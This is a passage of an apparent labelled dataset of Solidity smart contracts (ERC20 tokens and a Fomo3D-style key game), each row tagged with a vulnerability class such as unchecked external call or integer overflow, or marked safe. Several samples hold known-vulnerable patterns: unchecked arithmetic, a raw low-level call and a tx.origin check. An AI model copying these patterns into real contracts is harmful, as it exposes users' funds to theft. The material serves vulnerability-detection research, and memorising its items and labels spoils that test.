transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 100000000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000000; // Update total supply (100000 for example) name = ""Digibraltara""; // Set the name for display purposes decimals = 2; // Amount of decimals for display purposes symbol = ""DGIB""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 1852.sol,"pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); Burn(_who, _value); Transfer(_who, address(0), _value); } } contract WinEToken is MintableToken, BurnableToken { string public constant name = ""Win ETH and BTC GAMES""; string public constant symbol = ""WinE""; uint8 public constant decimals = 18; function WinEToken() public { totalSupply = 1000000000 ether; balances[msg.sender] = totalSupply; } }",./Dataset/integer overflow (OF)/,4,4 0x053be234d29a6322335355395a92b0c048f6aa12_MovaToken.sol,"pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract MovaToken { using SafeMath for uint256; // Constants string public name = ""MOVA Move Coin""; string public symbol = ""MOVE""; uint256 public decimals = 18; event Log(string msg); function totalSupply() public pure returns(uint256) { return 579630120 * 1e18; } function currentSupply() public pure returns(uint256) { return totalSupply(); } mapping(address => uint256) balances; address constant public teamAddress = 0xAe6c0952B76badD45125146a0566cdE2E5A8b401; // Constructor constructor() public { balances[teamAddress] = totalSupply(); } // *********************************************** // ERC20 methods // *********************************************** /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }",Safe,8,8 3266.sol,"pragma solidity ^0.4.24; contract PCKevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularKey is PCKevents {} contract PlayCoinKey is modularKey { using SafeMath for *; using NameFilter for string; using PCKKeysCalcLong for uint256; otherPCK private otherPCK_; PlayCoinGodInterface constant private PCGod = PlayCoinGodInterface(0x6f93Be8fD47EBb62F54ebd149B58658bf9BaCF4f); ProForwarderInterface constant private Pro_Inc = ProForwarderInterface(0x97354A7281693b7C93f6348Ba4eC38B9DDd76D6e); PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x47D1c777f1853cac97E6b81226B1F5108FBD7B81); string constant public name = ""PlayCoin Key""; string constant public symbol = ""PCK""; uint256 private rndExtra_ = 15 minutes; uint256 private rndGap_ = 15 minutes; uint256 constant private rndInit_ = 12 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 6 hours; uint256 constant private rndMin_ = 10 minutes; uint256 public rndReduceThreshold_ = 10e18; bool public closed_ = false; address private admin = msg.sender; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => PCKdatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => PCKdatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => PCKdatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => PCKdatasets.TeamFee) public fees_; mapping (uint256 => PCKdatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = PCKdatasets.TeamFee(30,6); fees_[1] = PCKdatasets.TeamFee(43,0); fees_[2] = PCKdatasets.TeamFee(56,10); fees_[3] = PCKdatasets.TeamFee(43,8); potSplit_[0] = PCKdatasets.PotSplit(15,10); potSplit_[1] = PCKdatasets.PotSplit(25,0); potSplit_[2] = PCKdatasets.PotSplit(20,20); potSplit_[3] = PCKdatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isRoundActivated() { require(round_[rID_].ended == false, ""the round is finished""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; require(msg.sender == tx.origin, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } modifier onlyAdmins() { require(msg.sender == admin, ""onlyAdmins failed - msg.sender is not an admin""); _; } function kill () onlyAdmins() public { require(round_[rID_].ended == true && closed_ == true, ""the round is active or not close""); selfdestruct(admin); } function getRoundStatus() isActivated() public view returns(uint256, bool){ return (rID_, round_[rID_].ended); } function setThreshold(uint256 _threshold) onlyAdmins() public returns(uint256) { rndReduceThreshold_ = _threshold; return rndReduceThreshold_; } function setEnforce(bool _closed) onlyAdmins() public returns(bool, uint256, bool) { closed_ = _closed; if( !closed_ && round_[rID_].ended == true && activated_ == true ){ nextRound(); } else if( closed_ && round_[rID_].ended == false && activated_ == true ){ round_[rID_].end = now - 1; } return (closed_, rID_, now > round_[rID_].end); } function() isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { PCKdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { PCKdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { PCKdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { PCKdatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit PCKevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit PCKevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > (round_[_rID].strt + rndGap_) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if ( _now > round_[_rID].end && round_[_rID].ended == false ) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); if( !closed_ ){ nextRound(); } _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit PCKevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, PCKdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > ( round_[_rID].strt + rndGap_ ) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if ( _now > round_[_rID].end && round_[_rID].ended == false ) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); if( !closed_ ) { nextRound(); } _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit PCKevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID, _eth); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... 